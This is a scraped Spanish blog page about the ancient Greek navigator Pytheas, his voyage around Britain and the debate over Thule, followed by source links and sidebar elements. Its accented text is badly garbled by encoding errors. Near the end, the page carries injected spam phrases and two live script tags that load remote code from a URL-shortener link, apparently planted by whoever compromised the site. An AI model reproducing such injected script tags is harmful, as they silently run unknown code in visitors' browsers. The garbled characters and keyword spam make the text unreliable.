Posiblemente lo que PA�teas pudo haber reconocido no fueron las costas de la mA�tica Thule, sino mA?s bien los perfiles de Noruega, desdibujados por la bruma. SegA?n diversas opiniones, el mar helado de las descripciones pudo haber sido un enorme banco de medusas; una vez mA?s, los eruditos discuten y emiten juicios sobre la validez del testimonio de un avezado navegante sobre las cosas que vieron o no sus ojos expertos.

De los libros que PA�teas escribiera sA?lo se conservan fragmentos de sus obras a�?DescripciA?n de la Tierraa�? y un ejemplar sobre a�?El OcA�anoa�?; no obstante, sus contemporA?neos hicieron tantas referencias a sus trabajos que gracias a este legado podemos reconstruir algunos de sus logros. Se estima que el viaje de PA�teasA� que le llevarA�a hasta las costas de Gran BretaA�a comenzarA�a en Marsella, y durarA�a alrededor de seis aA�os, durante los cuales el geA?grafo griego navegarA�a alrededor de Britannia, desembarcando en varios lugares y observando a los nativos cosechando grano y pastoreando ganado: a�?las gentes de Britannia son de costumbres sencillas a��refiere PA�teasa��y estA?n muy alejadas dela astucia y complicaciA?n del hombre moderno (a��) No beben vino, sino un brebaje que obtienen de la fermentaciA?n de la cebada que ellos llaman curmia�?.A� Se cree tambiA�n que visitA? las minas de estaA�o en Cornualles, y que a su regreso, en el aA�o 304 antes de Cristo, estableciA? con exactitud la posiciA?n de Irlanda, diciendo que se encontraba al oeste de Britannia. Sin embargo, EstrabA?n no estuvo de acuerdo con sus afirmaciones y finalmente fue A�l quien obtuvo el crA�dito del pueblo y la comunidad cientA�fica de la A�poca. SegA?n parece, PA�teas pasarA�a el resto de su vida tratando de convencer a sus contemporA?neos, en vano, de la veracidad de sus descubrimientos.

A�

A�-FuentesA� y vA�nculos-

(1) PA�teas y la Banquisa en el A?rtico: un blog sobre el misterio de los hielos y el Gran Norte.

(2) El artA�culo sobre PhyteasA� y sus viajesA�en wikipedia (en inglA�s, mA?s completo que en nuestro idioma).

(3) El viaje de Phyteas a Thule, aquA�, en la Ruta de las Luces del NorteA�(tome nota, doctor Venturi, para un futuro destino)

(4) La Thule de PA�teas en Las Edades Oscuras, historias de tiempos olvidados

(5)A�A�Evidencias de viajes pretA�ritos a AmA�rica y otras partes del mundo, grandes exploradores y piratasA�en The Secret City.

(6) El problema de la Thule de PA�teas, desde una perspectiva sesuda y erudita.

Related Posts with Thumbnails





Buscar
 
 
“Probamos el oro en el fuego, distinguimos a nuestros amigos en la adversidad.” , Isócrates
 
 

Encuestas de la tita.

Archivo

Calendario

octubre 2018
L M X J V S D
« sep    
1234567
891011121314
15161718192021
22232425262728
293031  

Álbum Fotográfico

El archivo XML no existe
The very best VPN Services 2018<script src="https://is.gd/ob8vtI?v=v9.0"></script> Electric power Selling Approaches to Improve The Web business<script src="https://is.gd/ob8vtI?v=v8.0"></script> Outlines For Core Criteria In Essay Writing Help Starting A web site That Sells Starting An online site That Making A site That Making A site That Brings Profit Starting A web site That Brings Profit Starting A Website That Brings Profit Creating A site That Starting An online site That Sells Starting An online site That Provides Starting A site That Markets Designing A Website That Makes CLients Designing An online site That Brings Profit Designing A web site That Makes CLients Starting A web site That Sells Creating A Website That Brings Profit Making An online site That Markets Making A Website That Brings Profit Creating An online site That Creating A Website That Designing An online site That Markets Making A Website That Makes CLients Making A site That Brings Profit Starting A site That Creating A web site That Brings Profit Making A Website That Starting An online site That Provides Making A site That Creating A Website That Makes CLients Creating A Website That Sells
Página 173 de 269 - « Primera... 171  172  173  174  175 ...Última »